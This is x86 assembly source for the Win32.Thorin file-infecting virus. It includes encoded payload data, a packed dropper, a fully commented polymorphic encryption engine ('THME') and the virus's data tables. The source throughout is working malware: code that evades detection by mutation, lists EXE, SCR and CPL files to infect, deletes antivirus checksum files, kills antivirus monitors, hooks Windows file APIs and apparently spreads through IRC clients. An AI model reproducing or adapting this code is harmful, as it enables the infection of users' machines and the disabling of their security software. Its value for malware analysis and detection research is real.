db 00Ah, 00Dh, 00Ah, 00Dh, 031h, 02Eh, 020h, 049h
db 06Eh, 020h, 077h, 068h, 061h, 074h, 020h, 062h
db 06Fh, 06Fh, 06Bh, 020h, 069h, 020h, 061h, 070h
db 070h, 065h, 061h, 072h, 020h, 061h, 073h, 020h
db 06Fh, 06Eh, 065h, 020h, 06Fh, 066h, 020h, 074h
db 068h, 065h, 020h, 06Dh, 061h, 069h, 06Eh, 020h
db 063h, 068h, 061h, 072h, 061h, 063h, 074h, 065h
db 072h, 073h, 03Fh, 00Ah, 00Dh, 020h, 05Bh, 061h
db 05Dh, 020h, 054h, 068h, 065h, 020h, 04Ch, 06Fh
db 072h, 064h, 020h, 04Fh, 066h, 020h, 054h, 068h
db 065h, 020h, 052h, 069h, 06Eh, 067h, 073h, 00Ah
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 054h, 068h
db 065h, 020h, 053h, 069h, 06Ch, 06Dh, 061h, 072h
db 069h, 06Ch, 06Ch, 069h, 06Fh, 06Eh, 00Ah, 00Dh
db 020h, 05Bh, 063h, 05Dh, 020h, 054h, 068h, 065h
db 020h, 048h, 06Fh, 062h, 062h, 069h, 074h, 00Ah
db 00Dh, 00Ah, 00Dh, 000h, 032h, 02Eh, 020h, 057h
db 068h, 061h, 074h, 020h, 061h, 06Dh, 020h, 069h
db 020h, 069h, 06Eh, 020h, 074h, 068h, 061h, 074h
db 020h, 062h, 06Fh, 06Fh, 06Bh, 03Fh, 00Ah, 00Dh
db 020h, 05Bh, 061h, 05Dh, 020h, 041h, 020h, 064h
db 077h, 061h, 072h, 066h, 00Ah, 00Dh, 020h, 05Bh
db 062h, 05Dh, 020h, 041h, 06Eh, 020h, 065h, 06Ch
db 066h, 00Ah, 00Dh, 020h, 05Bh, 063h, 05Dh, 020h
db 041h, 020h, 068h, 06Fh, 062h, 062h, 069h, 074h
db 00Ah, 00Dh, 00Ah, 00Dh, 000h, 033h, 02Eh, 020h
db 057h, 068h, 061h, 074h, 020h, 069h, 073h, 020h
db 074h, 068h, 065h, 020h, 06Eh, 061h, 06Dh, 065h
db 020h, 06Fh, 066h, 020h, 074h, 068h, 065h, 020h
db 064h, 072h, 061h, 067h, 06Fh, 06Eh, 03Fh, 00Ah
db 00Dh, 020h, 05Bh, 061h, 05Dh, 020h, 053h, 063h
db 068h, 072h, 094h, 065h, 064h, 065h, 072h, 00Ah
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 053h, 06Dh
db 061h, 075h, 067h, 00Ah, 00Dh, 020h, 05Bh, 063h
db 05Dh, 020h, 053h, 074h, 061h, 06Ch, 069h, 06Eh
db 00Ah, 00Dh, 00Ah, 00Dh, 000h
p_size equ ($-offset payl0ad)
; ===========================================================================
; Dropper code (packed)
; ===========================================================================
dropper label byte
db 04Dh, 05Ah, 0F8h, 000h, 001h, 000h, 016h, 000h
db 003h, 000h, 004h, 000h, 003h, 000h, 0FFh, 0FFh
db 0F0h, 0FFh, 000h, 001h, 000h, 001h, 000h, 003h
db 000h, 001h, 0F0h, 0FFh, 040h, 000h, 024h, 000h
db 001h, 000h, 002h, 000h, 0E9h, 000h, 002h, 000h
db 0E8h, 041h, 000h, 001h, 000h, 046h, 075h, 063h
db 06Bh, 020h, 079h, 06Fh, 075h, 020h, 061h, 073h
db 073h, 068h, 06Fh, 06Ch, 065h, 021h, 020h, 054h
db 068h, 069h, 073h, 020h, 072h, 065h, 071h, 075h
db 069h, 072h, 065h, 073h, 020h, 061h, 020h, 057h
db 069h, 06Eh, 033h, 032h, 020h, 065h, 06Eh, 076h
db 069h, 072h, 06Fh, 06Dh, 065h, 06Eh, 074h, 02Eh
db 02Eh, 02Eh, 020h, 020h, 00Dh, 00Ah, 024h, 00Eh
db 01Fh, 0B4h, 009h, 0CDh, 021h, 0C3h, 05Ah, 0E8h
db 0F5h, 0FFh, 0B4h, 04Ch, 0CDh, 021h, 000h, 071h
db 000h, 050h, 045h, 000h, 002h, 000h, 04Ch, 001h
db 005h, 000h, 001h, 000h, 0ABh, 026h, 00Ah, 0B4h
db 000h, 008h, 000h, 0E0h, 000h, 001h, 000h, 08Eh
db 083h, 00Bh, 001h, 002h, 019h, 000h, 001h, 000h
db 002h, 000h, 003h, 000h, 004h, 000h, 008h, 000h
db 001h, 000h, 003h, 000h, 002h, 000h, 003h, 000h
db 003h, 000h, 003h, 000h, 040h, 000h, 003h, 000h
db 001h, 000h, 002h, 000h, 002h, 000h, 002h, 000h
db 001h, 000h, 007h, 000h, 003h, 000h, 001h, 000h
db 00Ah, 000h, 007h, 000h, 006h, 000h, 002h, 000h
db 004h, 000h, 006h, 000h, 002h, 000h, 005h, 000h
db 001h, 000h, 002h, 000h, 020h, 000h, 004h, 000h
db 001h, 000h, 002h, 000h, 010h, 000h, 006h, 000h
db 010h, 000h, 00Dh, 000h, 004h, 000h, 001h, 000h
db 04Ch, 000h, 01Dh, 000h, 005h, 000h, 001h, 000h
db 018h, 000h, 053h, 000h, 043h, 04Fh, 044h, 045h
db 000h, 005h, 000h, 010h, 000h, 004h, 000h, 001h
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 006h
db 000h, 011h, 000h, 060h, 02Eh, 069h, 063h, 06Fh
db 064h, 065h, 000h, 003h, 000h, 010h, 000h, 004h
db 000h, 002h, 000h, 002h, 000h, 002h, 000h, 003h
db 000h, 008h, 000h, 00Eh, 000h, 020h, 000h, 002h
db 000h, 060h, 044h, 041h, 054h, 041h, 000h, 005h
db 000h, 010h, 000h, 004h, 000h, 003h, 000h, 006h
db 000h, 00Ah, 000h, 00Eh, 000h, 040h, 000h, 002h
db 000h, 0C0h, 02Eh, 069h, 064h, 061h, 074h, 061h
db 000h, 003h, 000h, 010h, 000h, 004h, 000h, 004h
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 00Ah
db 000h, 00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h
db 02Eh, 072h, 065h, 06Ch, 06Fh, 063h, 000h, 003h
db 000h, 010h, 000h, 004h, 000h, 005h, 000h, 002h
db 000h, 002h, 000h, 003h, 000h, 00Ch, 000h, 00Eh
db 000h, 040h, 000h, 002h, 000h, 050h, 000h, 040h
db 003h, 0FFh, 035h, 008h, 000h, 001h, 000h, 043h
db 000h, 001h, 000h, 0E8h, 0F5h, 0FFh, 000h, 0F7h
db 001h, 0FFh, 025h, 028h, 000h, 001h, 000h, 044h
db 000h, 007h, 002h, 030h, 000h, 001h, 000h, 004h
db 000h, 001h, 000h, 028h, 000h, 001h, 000h, 004h
db 000h, 015h, 000h, 03Eh, 000h, 001h, 000h, 004h
db 000h, 005h, 000h, 04Bh, 045h, 052h, 04Eh, 045h
db 04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch, 000h
db 004h, 000h, 045h, 078h, 069h, 074h, 050h, 072h
db 06Fh, 063h, 065h, 073h, 073h, 000h, 0B7h, 001h
db 001h, 000h, 001h, 000h, 00Ch, 000h, 003h, 000h
db 002h, 030h, 000h, 004h, 000h, 002h, 000h, 001h
db 000h, 00Ch, 000h, 003h, 000h, 002h, 030h, 000h
db 0E2h, 01Eh
dropper_size equ ($-offset dropper)
; ===========================================================================
; [THME] - The Hobbit Mutation Engine
; ===========================================================================
;
; ?????????????? ???????????????????????????????????????????» ??????????????
; ???????????????? ??? ??????? ?? ?? ???????? ??????? ??? ????????????????
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
; ???????????????» ??? ??? ?? ?? ?? ?? ?? ??????? ??? ????????????????
; ?????????????? ???????????????????????????????????????????? ??????????????
;
;
; This is a little polymorphic engine dessigned for my Win32.Thorin v1.00 vi-
; rus. It isn't very powerful, as it wasn't dessigned to be an unreachable
; engine, because the virus is enough big without poly, so i didn't wanted it
; to grow too much. It isn't my first poly engine for Win32 enviroments, but
; it is the first one i finished (and the simplest one). It is messy, unopti-
; mized, etc. But let me talk about its features:
;
; ? Non-realistic code (copro used, etc)
; ? Able of use any register (except ESP) as Pointer, Counter, and Delta.
; ? Crypt operations : ADD/SUB/XOR
; ? Garbage generator abilities:
; - CALLs to subroutines (can be recursive)
; - Arithmetic operations REG32/REG32
; - Arithmetic operations REG32/IMM32
; - Arithmetic operations EAX32/IMM32
; - MOV reg32,reg32/imm32
; - MOV reg16,reg16/imm16
; - PUSH/Garbage/POP structures
; - Coprocessor opcodes
; - Simple onebyters
; ? Encryptor fixed size, 2048 bytes.
;
; I coded this engine in a record time ;) Pfff, maaaany improvements could be
; made, i know, but i think there will be another versions of the virus, so i
; will try to fix bugs (if any) and improve the junk generation, that is very
; weak, as well as the encryption is.
;
; input:
; ECX = Size of code to encrypt/4
; ESI = Pointer to the data to encrypt
; EDI = Buffer where the decryptor+encrypted virus body will go
; EBP = Delta Offset
; output:
; ECX = Decryptor size
;
; All the other registers, preserved.
;
LIMIT equ 400h ; Decryptor size
RECURSION equ 05h ; The recursion level of THME
_EAX equ 00000000b ; All these are the numeric
_ECX equ 00000001b ; value of all the registers.
_EDX equ 00000010b ; Heh, i haven't used here
_EBX equ 00000011b ; all this, but... wtf? they
_ESP equ 00000100b ; don't waste bytes, and ma-
_EBP equ 00000101b ; ke this shit to be more
_ESI equ 00000110b ; clear :)
_EDI equ 00000111b ;
; [ PUSHAD structure ]
PUSHAD_EDI equ 00h
PUSHAD_ESI equ 04h
PUSHAD_EBP equ 08h
PUSHAD_ESP equ 0Ch
PUSHAD_EBX equ 10h
PUSHAD_EDX equ 14h
PUSHAD_ECX equ 18h
PUSHAD_EAX equ 1Ch
RETURN_ADDRESS equ 04h
; [ THME_CryptOp ]
_XOR equ 00000001b ; XOR / XOR \
_ADD equ 00000010b ; ADD / SUB > Base crypt
_SUB equ 00000100b ; SUB / ADD /
; mamamamamama weer creezy now...
salc equ
THME proc
pushad
call THME_InitVariables ; Initialize poly engine
call THME_BunchOfShit ; Garbage!
mov eax,sTHME_Decrypt1 ; Get decryptor order in its
call r_range ; first part
lea esi,[ebp+THME_Decrypt1+eax*4]
lodsd
add eax,ebp
xchg eax,esi
mov ecx,3 ; Generate real instruction
THME_BuildIt: ; plus some garbage
lodsd
add eax,ebp
push esi ecx
call eax
call THME_BunchOfShit
pop ecx esi
loop THME_BuildIt
call THME_BunchOfShit ; Generate the last part of
call THME_StoreLoop ; the poly
call THME_BunchOfShit
call THME_GenCryptOperations
call THME_BunchOfShit
call THME_GenIncPointer
call THME_BunchOfShit
call THME_GenDecCounter
call THME_GenLoop
call THME_BunchOfShit
mov al,0E9h ; Generate the JMP to the
stosb ; decrypted virus code
mov eax,LIMIT
mov ebx,edi
sub ebx,dword ptr [ebp+THME_Pointer]
add ebx,04h
sub eax,ebx
stosd
xchg eax,ecx ; Fill with shit the rest
THME_FillTheRest:
call random
stosb
loop THME_FillTheRest
call THME_CryptData
call THME_ClosePoly
popad
ret
db 00h,"[THME v1.00]",00h
THME_InitVariables:
mov dword ptr [ebp+THME_Pointer],edi ; Save all given data
mov dword ptr [ebp+THME_Data2crypt],esi
mov dword ptr [ebp+THME_S2C_div4],ecx
and byte ptr [ebp+THME_Recursion],00h
THME_IV_GetCounter: ; Get a valid register for
mov eax,08h ; use as counter
call r_range
or eax,eax
jz THME_IV_GetCounter
cmp eax,_ESP
jz THME_IV_GetCounter
mov byte ptr [ebp+THME_CounterReg],al
mov ebx,eax
THME_IV_GetPointer: ; Get a valid register for
mov eax,08h ; use as a pointer
call r_range
or eax,eax
jz THME_IV_GetPointer
cmp eax,_ESP
jz THME_IV_GetPointer
cmp eax,ebx
jz THME_IV_GetPointer
mov byte ptr [ebp+THME_PointerReg],al
mov ecx,eax
THME_IV_GetDelta: ; Get a valid register for
mov eax,08h ; use as delta
call r_range
or eax,eax
jz THME_IV_GetDelta
cmp eax,_ESP
jz THME_IV_GetDelta
cmp eax,ebx
jz THME_IV_GetDelta
cmp eax,ecx
jz THME_IV_GetDelta
mov byte ptr [ebp+THME_DeltaReg],al
call random ; Get math operation for crypt
and al,00000111b
mov byte ptr [ebp+THME_CryptOp],al
mov dword ptr [edi],"EMHT" ; Mark :)
ret
THME_ClosePoly: ; Return in ECX the size of
mov ecx,edi ; the engine (not needed)
sub ecx,dword ptr [ebp+THME_Pointer]
mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
ret
; THME_GETREGISTER
;
; input:
; Nothing.
; output:
; AL = Register unused by the decryptor
;
THME_GetRegister:
movzx ebx,byte ptr [ebp+THME_CounterReg]
movzx ecx,byte ptr [ebp+THME_PointerReg]
movzx edx,byte ptr [ebp+THME_DeltaReg]
THME_GR_GetIt:
mov eax,08h ; Get a register
call r_range
cmp eax,_ESP ; Mustn't be ESP
jz THME_GR_GetIt
cmp eax,ebx ; Mustn't be equal to counter
jz THME_GR_GetIt
cmp eax,ecx ; Mustn't be equal to pointer
jz THME_GR_GetIt
cmp eax,edx ; Mustn't be equal to delta
jz THME_GR_GetIt
ret
; Garbage generator (recursion depht = 3)
THME_GenGarbage:
inc byte ptr [ebp+THME_Recursion] ; Increase recursivity
cmp byte ptr [ebp+THME_Recursion],RECURSION ; Over our limit?
jae THME_GG_Exit ; Shitz...
mov eax,sTHME_GBG_Table ; Select a garbage generator
call r_range ; from our table
lea ebx,[ebp+THME_GBG_Table]
mov eax,[ebx+eax*4]
add eax,ebp
call eax ; Call it
THME_GG_Exit:
dec byte ptr [ebp+THME_Recursion] ; Decrease recursion level
ret
; Call 6 times to the garbage generator
THME_BunchOfShit:
mov ecx,0Ch
THME_BOS_Loop:
push ecx
call THME_GenGarbage
pop ecx
loop THME_BOS_Loop
ret
; THME_GBGB_GETVALIDRIB
;
; input:
; Nothing.
; output:
; AL = RegInfoByte that could be used for garbage regxx/regxx
;
THME_GBG_GetValidRiB:
xor eax,eax
call THME_GetRegister ; Get a valid register for be
mov ecx,eax ; the target
shl eax,3
push eax
THME_GBG_GVRiB:
mov eax,8 ; Get any register for be used
call r_range ; as source
cmp eax,ecx
jz THME_GBG_GVRiB ; Can't be source=target
xchg ebx,eax
pop eax
add eax,ebx
add al,11000000b ; Fix this
ret
; ---
THME_GBG_Arithmetic_EAX_IMM32:
call random
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
or al,00000101b
stosb
call random
stosd
ret
THME_GBG_Arithmetic_REG32_REG32:
call random
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
or al,00000011b
stosb
THME_GBG_A_R32_R32_GR:
call THME_GetRegister ; Don't use EAX
or al,al
jz THME_GBG_A_R32_R32_GR
shl eax,3
add al,11000000b
push eax
call random
and al,00000111b
xchg ebx,eax
pop eax
add al,bl
stosb
ret
THME_GBG_Arithmetic_REG32_IMM32:
mov al,81h ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
stosb
THME_GBG_A_R32_I32_GR:
call THME_GetRegister
or al,al
jz THME_GBG_A_R32_I32_GR
push eax
call random
and al,00111000b
add al,11000000b
pop ebx
add al,bl
stosb
call random
stosd
ret
THME_GBG_GenOneByter:
mov eax,sTHME_OneByters ; NOP/LAHF/INC EAX/DEC EAX/STI/CLD/
call r_range ; CMC/STC/CLC
mov al,[ebp+THME_OneByters+eax]
stosb
ret
THME_GBG_GenCopro:
cmp byte ptr [ebp+THME_CoproInit],00h ; If first call, put a FINIT
jz THME_GC_GenFINIT
mov eax,sTHME_OneByters ; If not, put any copro opcode
call r_range
lea ebx,[ebp+THME_Copro]
movzx eax,word ptr [ebx+eax*2]
stosw
ret
THME_GC_GenFINIT:
inc byte ptr [ebp+THME_CoproInit]
mov ax,0E3DBh ; FINIT
stosw
ret
THME_GBG_MOV_REG16_REG16:
mov al,66h ; MOV ?X,?X
stosb
call THME_GBG_GetValidRiB
push eax
mov al,08Bh
stosb
pop eax
stosb
ret
THME_GBG_MOV_REG16_IMM16:
mov al,66h ; MOV ?X,????
stosb
call THME_GetRegister
add al,0B8h
stosb
call random
stosw
ret
THME_GBG_MOV_REG32_REG32:
call THME_GBG_GetValidRiB ; MOV E??,E??
push eax
mov al,8Bh
stosb
pop eax
stosb
ret
THME_GBG_MOV_REG32_IMM32:
call THME_GetRegister ; MOV E??,????????
add al,0B8h
stosb
call random
stosd
ret
THME_GBG_GenPUSHPOP: ; PUSH E??
mov eax,8 ; ...
call r_range ; POP E??
add al,50h
stosb
call THME_GenGarbage
call THME_GetRegister
add al,58h
stosb
ret
THME_GBG_GenCALL_Type1: ; CALL @@1
mov al,0E8h ; ...
stosb ; JMP @@2
xor eax,eax ; ...
stosd ; @@1:
push edi ; ...
call THME_GenGarbage ; RET
mov al,0E9h ; ...
stosb ; @@2:
xor eax,eax ; ...
stosd
push edi
call THME_GenGarbage
mov al,0C3h
stosb
call THME_GenGarbage
mov ebx,edi
pop edx
sub ebx,edx
mov [edx-4],ebx
pop ecx
sub edx,ecx
mov [ecx-4],edx
ret
; ---
THME_CryptData: ; Encrypt given data with proper operation
mov esi,dword ptr [ebp+THME_Data2crypt]
mov edi,esi
mov ecx,dword ptr [ebp+THME_S2C_div4]
THME_CD_EncryptLoop:
lodsd
push ecx
call THME_DoCryptOperations
pop ecx
stosd
loop THME_CD_EncryptLoop
ret
THME_DoCryptOperations:
test byte ptr [ebp+THME_CryptOp],_XOR
jz THME_DCO_XOR
test byte ptr [ebp+THME_CryptOp],_ADD
jz THME_DCO_ADD
THME_DCO_SUB:
add eax,dword ptr [ebp+THME_Key1]
jmp THME_DCO_EXIT
THME_DCO_ADD:
sub eax,dword ptr [ebp+THME_Key1]
jmp THME_DCO_EXIT
THME_DCO_XOR:
xor eax,dword ptr [ebp+THME_Key1]
THME_DCO_EXIT:
ret
; ---
THME_GenDeltaOffset: ; CALL @@1
mov eax,10h ; ...
call r_range ; @@1:
xchg eax,ebx ; POP E??
mov al,0E8h
stosb
xor eax,eax
stosd
mov dword ptr [ebp+THME_GDO_TmpCll],edi
call THME_GenGarbage
mov ecx,dword ptr [ebp+THME_GDO_TmpCll]
mov ebx,edi
sub ebx,ecx
mov [ecx-4],ebx
mov al,58h
add al,byte ptr [ebp+THME_DeltaReg]
stosb
mov ebx,dword ptr [ebp+THME_Pointer]
sub ecx,ebx
mov dword ptr [ebp+THME_Fix1],ecx
ret
THME_GenLoadSize:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GLS_@@2
THME_GLS_@@1:
mov al,68h ; PUSH ????????
; ...
stosb ; POP E??
mov eax,dword ptr [ebp+THME_S2C_div4]
stosd
call THME_GenGarbage
mov al,58h
add al,byte ptr [ebp+THME_CounterReg]
stosb
ret
THME_GLS_@@2:
movzx eax,byte ptr [ebp+THME_CounterReg]
add eax,0B8h ; MOV E??,????????
stosb
mov eax,dword ptr [ebp+THME_S2C_div4]
stosd
ret
THME_GenLoadPointer:
mov al,8Dh ; LEA E??,[E??+????????]
stosb
movzx eax,byte ptr [ebp+THME_PointerReg]
shl al,3
add al,10000000b
add al,byte ptr [ebp+THME_DeltaReg]
stosb
mov eax,LIMIT
sub eax,dword ptr [ebp+THME_Fix1]
stosd
ret
THME_StoreLoop:
mov dword ptr [ebp+THME_LoopAddress],edi
ret
THME_GenCryptOperations:
mov al,81h
stosb
test byte ptr [ebp+THME_CryptOp],_XOR
jz THME_GCO_XOR
test byte ptr [ebp+THME_CryptOp],_ADD
jz THME_GCO_ADD
THME_GCO_SUB:
mov al,28h ; SUB [E??],????????
jmp THME_GCO_BuildRiB
THME_GCO_ADD:
xor al,al ; ADD [E??],????????
jmp THME_GCO_BuildRiB
THME_GCO_XOR:
mov al,30h ; XOR [E??],????????
THME_GCO_BuildRiB:
add al,byte ptr [ebp+THME_PointerReg]
cmp byte ptr [ebp+THME_PointerReg],_EBP
jnz THME_GCO_BR_NoEBP
or al,01000000b
stosb
xor al,al
stosb
jmp $+3
THME_GCO_BR_NoEBP:
stosb
call random
mov dword ptr [ebp+THME_Key1],eax
stosd
THME_GCO_EXIT:
ret
THME_GenIncPointer:
mov eax,5
call r_range
xchg eax,ecx
jecxz THME_GIP_@@2
dec ecx
jecxz THME_GIP_@@3
dec ecx
jecxz THME_GIP_@@4
dec ecx
jnz THME_GIP_@@1
jmp THME_GIP_@@5
THME_GIP_@@1:
mov bl,4 ; ADD E??,4
call THME_GIP_AddIt
jmp THME_GIP_EXIT
THME_GIP_@@2:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GIP_@@2_@@2
THME_GIP_@@2_@@1:
mov bl,3 ; ADD E??,3
call THME_GIP_AddIt
mov bl,1 ; INC E??
call THME_GIP_IncIt
jmp THME_GIP_@@2_EXIT
THME_GIP_@@2_@@2:
mov bl,1 ; INC E??
call THME_GIP_IncIt
mov bl,3
call THME_GIP_AddIt ; ADD E??,3
THME_GIP_@@2_EXIT:
jmp THME_GIP_EXIT
THME_GIP_@@3:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GIP_@@3_@@2
THME_GIP_@@3_@@1:
mov bl,2 ; ADD E??,2
call THME_GIP_AddIt
mov bl,2 ; INC E??
call THME_GIP_IncIt ; INC E??
jmp THME_GIP_@@2_EXIT
THME_GIP_@@3_@@2:
mov bl,2 ; INC E??
call THME_GIP_IncIt ; INC E??
mov bl,2 ; ADD E??,2
call THME_GIP_AddIt
jmp THME_GIP_@@2_EXIT
THME_GIP_@@4:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GIP_@@4_@@2
THME_GIP_@@4_@@1:
mov bl,1 ; ADD E??,1
call THME_GIP_AddIt ; INC E??
mov bl,3 ; INC E??
call THME_GIP_IncIt ; INC E??
jmp THME_GIP_@@2_EXIT
THME_GIP_@@4_@@2:
mov bl,1 ; INC E??
call THME_GIP_IncIt ; INC E??
mov bl,3 ; INC E??
call THME_GIP_AddIt ; ADD E??,1
jmp THME_GIP_@@2_EXIT
THME_GIP_@@5: ; INC E??
mov bl,4 ; INC E??
call THME_GIP_IncIt ; INC E??
; INC E??
THME_GIP_EXIT:
ret
THME_GIP_AddIt:
mov al,83h
stosb
mov al,byte ptr [ebp+THME_PointerReg]
or al,11000000b
stosb
mov al,bl
stosb
ret
THME_GIP_IncIt:
movzx ecx,bl
mov al,40h
add al,byte ptr [ebp+THME_PointerReg]
THME_GIP_II_Loop:
stosb
pushad
call THME_GenGarbage
popad
loop THME_GIP_II_Loop
ret
THME_GenDecCounter:
mov eax,3
call r_range
xchg eax,ecx
jecxz THME_GDC_@@2
dec ecx
jecxz THME_GDC_@@3
THME_GDC_@@1: ; SUB E??,1
mov al,83h
stosb
mov al,byte ptr [ebp+THME_CounterReg]
or al,11101000b
stosb
mov al,1
stosb
jmp THME_GDC_EXIT
THME_GDC_@@2:
mov al,48h ; DEC E??
add al,byte ptr [ebp+THME_CounterReg]
stosb
jmp THME_GDC_EXIT
THME_GDC_@@3:
mov al,83h ; ADD E??,-1
stosb
mov al,byte ptr [ebp+THME_CounterReg]
or al,11000000b
stosb
mov al,0FFh
stosb
THME_GDC_EXIT:
ret
THME_GenLoop:
mov ax,850Fh ; JNZ FAR ????????
stosw
mov eax,dword ptr [ebp+THME_LoopAddress]
sub eax,edi
sub eax,00000004h
stosd
ret
THME_OneByters label byte
cld
cmc
clc
stc
dec eax
inc eax
lahf
nop
salc
sTHME_OneByters equ ($-THME_OneByters)
THME_Copro label byte
f2xm1
fabs
fadd
faddp
fchs
fnclex
fcom
fcomp
fcompp
fcos
fdecstp
fdiv
fdivp
fdivr
fdivrp
ffree
fincstp
fld1
fldl2t
fldl2e
fldpi
fldln2
fldz
fmul
fmulp
fnclex
fnop
fpatan
fprem
fprem1
fptan
frndint
fscale
fsin
fsincos
fsqrt
fst
fstp
fsub
fsubp
fsubr
fsubrp
ftst
fucom
fucomp
fucompp
fxam
fxtract
fyl2x
fyl2xp1
sTHME_Copro equ (($-THME_Copro)/2)
; Possibilities before crypt operation
THME_Decrypt1 label byte
dd offset (THME_Decrypt1a)
dd offset (THME_Decrypt1b)
dd offset (THME_Decrypt1c)
sTHME_Decrypt1 equ (($-THME_Decrypt1)/4)
THME_Decrypt1a label byte
dd offset (THME_GenDeltaOffset)
dd offset (THME_GenLoadSize)
dd offset (THME_GenLoadPointer)
sTHME_Decrypt1a equ (($-THME_Decrypt1a)/4)
THME_Decrypt1b label byte
dd offset (THME_GenDeltaOffset)
dd offset (THME_GenLoadPointer)
dd offset (THME_GenLoadSize)
sTHME_Decrypt1b equ (($-THME_Decrypt1b)/4)
THME_Decrypt1c label byte
dd offset (THME_GenLoadSize)
dd offset (THME_GenDeltaOffset)
dd offset (THME_GenLoadPointer)
sTHME_Decrypt1c equ (($-THME_Decrypt1c)/4)
; Main table (for garbage generation)
THME_GBG_Table label byte
dd offset (THME_GBG_Arithmetic_EAX_IMM32)
dd offset (THME_GBG_Arithmetic_REG32_REG32)
dd offset (THME_GBG_Arithmetic_REG32_IMM32)
dd offset (THME_GBG_MOV_REG16_REG16)
dd offset (THME_GBG_MOV_REG16_IMM16)
dd offset (THME_GBG_MOV_REG32_REG32)
dd offset (THME_GBG_MOV_REG32_IMM32)
dd offset (THME_GBG_GenOneByter)
dd offset (THME_GBG_GenCopro)
dd offset (THME_GBG_GenPUSHPOP)
dd offset (THME_GBG_GenCALL_Type1)
sTHME_GBG_Table equ (($-THME_GBG_Table)/4)
thme_end label byte
THME endp
; ===========================================================================
; Random procedures
; ===========================================================================
;
; RANDOM
;
; input:
; Nothing.
; output:
; EAX = Random number
;
random proc ; Thanx MDriller! ;)
push ecx
mov eax,dword ptr [ebp+rnd_seed1]
dec dword ptr [ebp+rnd_seed1]
xor eax,dword ptr [ebp+rnd_seed2]
mov ecx,eax
rol dword ptr [ebp+rnd_seed1],cl
add dword ptr [ebp+rnd_seed2],eax
adc eax,dword ptr [ebp+rnd_seed2]
add eax,ecx
ror eax,cl
not eax
sub eax,3
xor dword ptr [ebp+rnd_seed2],eax
xor eax,dword ptr [ebp+rnd_seed3]
rol dword ptr [ebp+rnd_seed3],1
sub dword ptr [ebp+rnd_seed3],ecx
sbb dword ptr [ebp+rnd_seed3],4
inc dword ptr [ebp+rnd_seed2]
pop ecx
ret
random endp
; R_RANGE
;
; input:
; EAX = Number of possible random numbers
; output:
; EAX = Number between 0 and (EAX-1)
r_range proc
push ecx
push edx
mov ecx,eax
call random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
r_range endp
; ===========================================================================
; Virus data
; ===========================================================================
; I went to god just to see, and i was looking at me.
_MASK db "*."
EXTENSION dd 00000000h
EXTENSIONS db "EXE",0 ; Nice table: very easy to
db "SCR",0 ; add new extensions to infect
db "CPL",0
n_EXT equ (($-offset EXTENSIONS)/4)
ALL_MASK db "*.*",0
dotdot db "..",0
root db "c:\",0 ; Don't be afraid... :)
key_mIRC db "iKX\Thorin\mIRC32",0
key_PIRCH db "iKX\Thorin\Pirch32",0
key_ViRC97 db "iKX\Thorin\ViRC97",0
; Whoaaaaa... many many many payloads!
payload_table label byte
dd offset (payload1)
dd offset (payload2)
dd offset (payload3)
dd offset (payload4)
dd offset (payload5)
payload_number equ (($-offset payload_table)/4)
infections dd 00000000h
imagebase dd imagebase_
kernel dd kernel_
K32_DLL db "KERNEL32.dll",0
K32_Size equ $-K32_DLL
szSHELL32 db "SHELL32",0
szUSER32 db "USER32",0
szADVAPI32 db "ADVAPI32",0
szOPEN db "OPEN",0
szMicro$oft db "http://www.microsoft.com",0 ; Yaaaaaaargh!!!
; @@BadProgramz structure
; ???????????????????????
; +02h String Size
; +??h First letters (string size) of files we don't want to be infected
@@BadProgramz label byte
db 02h,"TB" ; ThunderByte?
db 02h,"F-" ; F-Prot?
db 03h,"NAV" ; Norton Antivirus?
db 03h,"AVP" ; AVP?
db 03h,"WEB" ; DrWeb?
db 03h,"PAV" ; Panda?
db 03h,"DRW" ; DrWeb?
db 04h,"DSAV" ; Dr Solomon?
db 03h,"NOD" ; Nod-Ice?
db 06h,"WINICE" ; SoftIce?
db 06h,"FORMAT" ; Format?
db 05h,"FDISK" ; Fdisk?
db 08h,"SCANDSKW" ; ScanDisk?
db 06h,"DEFRAG" ; Defrag?
db 0BBh
@@BadPhilez label byte ; Files to delete in all dirz
ANTIVIR_DAT db "ANTI-VIR.DAT",0
CHKLIST_DAT db "CHKLIST.DAT",0
CHKLIST_TAV db "CHKLIST.TAV",0
CHKLIST_MS db "CHKLIST.MS",0
CHKLIST_CPS db "CHKLIST.CPS",0
AVP_CRC db "AVP.CRC",0
IVB_NTZ db "IVB.NTZ",0
SMARTCHK_MS db "SMARTCHK.MS",0
SMARTCHK_CPS db "SMARTCHK.CPS",0
Monitors2Kill label byte
db "AVP Monitor",0
db "Amon Antivirus Monitor",0
db 0BBh
; @@Hookz structure
; ?????????????????
; +00h API Name
; +??h Bytes from beginning of virus until beginning of hook handler
@@Hookz label byte
?szMoveFileA db "MoveFileA",0
?hnMoveFileA dd (offset HookMoveFileA)
?szCopyFileA db "CopyFileA",0
?hnCopyFileA dd (offset HookCopyFileA)
?szGetFullPathNameA db "GetFullPathNameA",0
?hnGetFullPathNameA dd (offset HookGetFullPathNameA)
?szDeleteFileA db "DeleteFileA",0
?hnDeleteFileA dd (offset HookDeleteFileA)
?szWinExec db "WinExec",0
?hnWinExec dd (offset HookWinExec)
?szCreateProcessA db "CreateProcessA",0
?hnCreateProcessA dd (offset HookCreateProcessA)
?szCreateFileA db "CreateFileA",0
?hnCreateFileA dd (offset HookCreateFileA)
?szGetFileAttributesA db "GetFileAttributesA",0
?hnGetFileAttributesA dd (offset HookGetFileAttributesA)
?szFindFirstFileA db "FindFirstFileA",0
?hnFindFirstFileA dd (offset HookFindFirstFileA)
?szFindNextFileA db "FindNextFileA",0
